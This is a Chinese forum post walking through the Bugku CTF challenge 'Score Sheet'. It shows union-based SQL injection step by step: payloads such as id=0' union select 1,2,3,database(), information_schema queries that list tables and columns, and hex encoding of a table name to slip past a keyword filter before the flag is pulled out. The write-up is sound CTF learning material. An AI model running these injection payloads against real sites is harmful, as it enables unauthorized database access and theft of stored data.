[新手入门] Bugku-成绩单

[复制链接]
查看6977 | 回复0 | 2020-2-9 22:37:03 | 显示全部楼层 |阅读模式
本帖最后由 zesiar 于 2020-2-9 22:39 编辑

1.依次填入id=1,2,3,都有返回,id=4时没有返回猜测数据库一共有四列,用内置函数database()进行爆破获取数据库的名字
id=0' union select 1,2,3,database()
QQ图片20200209221501.png


至于为什么使用union select 的时候再后面添加1,2,3,这几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。在sql注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来。
此处可以看出数据库的名字叫做skctf_flag
这里记一点零碎的知识:
mysql中的information_schema 结构用来存储数据库系统信息
用该语句得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码
现在我们去爆破表名

2.得到表名fl4g,sc,我们要的数据就在fl4g里面
再将fl4g转换为十六进制,避过敏感词汇


select group_concat(column_name) from information_schema.columns where table_name=0x666c3467#

得到字段的具体值skctf_flag
3.select group_concat(username,0x3a,password) from adminuser,由此我们构造skctf_flag from fl4g
得到flag


QQ图片20200209221509.png
20190126103809530.png
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

27

主题

27

帖子

147

积分

小有名气

Rank: 3Rank: 3

积分
147